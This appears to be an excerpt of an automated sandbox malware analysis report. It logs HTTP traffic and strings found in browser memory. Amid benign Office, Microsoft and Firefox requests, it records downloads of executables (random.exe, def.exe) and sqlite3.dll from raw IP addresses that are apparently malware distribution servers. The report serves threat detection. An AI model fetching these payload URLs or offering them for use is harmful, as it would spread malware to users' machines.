Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MC1=GUID=721590c4f3bd43579b1a3e8981dfb909&HASH=7215&LV=202411&V=4&LU=1732072171767; MS0=2c87544c582544e99833e0cf03ffb741; MUID=135FC9CB861C6BCD0C87DCF6821C6DFE
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: chrome.exe, 0000001F.00000002.2884290835.000035F80094C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2875803745.000035F80073D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.phphttps://ads.stickyadstv.com/firefox-etp://.adsafeprotected.com/jsvid?*://track.adform.net/Serving/TrackPoint/resource://gre/modules/ShortcutUtils.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2898588001.0000017A5C9EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: chrome.exe, 0000001F.00000002.2884290835.000035F80094C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2875803745.000035F80073D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: DevTools telemetry entry point failed: @mozilla.org/dom/slow-script-debug;1browser.urlbar.dnsResolveFullyQualifiedNames^([a-z+.-]+:\/{0,3})([^\/@]+@).+browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPdevtools.performance.popup.feature-flagresource://devtools/server/devtools-server.jsget FIXUP_FLAGS_MAKE_ALTERNATE_URI@mozilla.org/uriloader/handler-service;1get FIXUP_FLAG_FORCE_ALTERNATE_URIdevtools/client/framework/devtools-browserreleaseDistinctSystemPrincipalLoaderdevtools/client/framework/devtoolsDevToolsStartup.jsm:handleDebuggerFlagdevtools.performance.recording.ui-base-url{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Failed to execute WebChannel callback:WebChannel/this._originCheckCallbackresource://devtools/shared/security/socket.jsUnable to start devtools server on JSON Viewer's onSave failed in startPersistenceFailed to listen. Listener already attached.No callback set for this channel.@mozilla.org/network/protocol;1?name=filebrowser.fixup.dns_first_for_single_wordsFailed to listen. Callback argument missing.^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)@mozilla.org/network/protocol;1?name=defaultdevtools.debugger.remote-websocketGot invalid request to save JSON data^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?http://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl/mh/?mailto=%sgecko.handlerService.defaultHandlersVersionhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/FileUtils.sys.mjsextractScheme/fixupChangedProtocol<https://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1Can't invoke URIFixup in the content process{33d75835-722f-42c0-89cc-44f328e56a86}https://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/network/file-input-stream;1resource://gre/modules/DeferredTask.sys.mjs@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s_injectDefaultProtocolHandlersIfNeeded@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}isDownloadsImprovementsAlreadyMigratedScheme should be either http or httpsresource://gre/modules/JSONFile.sys.mjsMust have a source and a callbacknewChannel requires a single object argument@mozilla.org/intl/converter-input-stream;1@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.alwaysAskBeforeHandlingSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLNon-zero amount of byt
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: FileUtils_closeSafeFileOutputStreamresource://gre/modules/addons/XPIProvider.jsmhttps://smartblock.firefox.etp/play.svg@mozilla.org/addons/addon-manager-startup;1://track.adform.net/serving/scripts/trackpoint/://static.chartbeat.com/js/chartbeat_video.js://.imgur.io/js/vendor..bundle.jspictureinpicture%40mozilla.org:1.0.0://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js*://connect.facebook.net//all.js*://c.amazon-adsystem.com/aax2/apstag.jswebcompat-reporter@mozilla.org.xpi://cdn.branch.io/branch-latest.min.js*://www.rva311.com/static/js/main..chunk.js://pub.doubleverify.com/signals/pub.js://static.chartbeat.com/js/chartbeat.jswebcompat-reporter%40mozilla.org:1.5.1://www.google-analytics.com/analytics.js://www.googletagmanager.com/gtm.js://ssl.google-analytics.com/ga.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.google-analytics.com/plugins/ua/ec.js://www.googletagservices.com/tag/js/gpt.js://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://.moatads.com//moatheader.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://js.maxmind.com/js/apis/geoip2//geoip2.js://www.google-analytics.com/gtm/js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.js://pagead2.googlesyndication.com/tag/js/gpt.js*resource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", 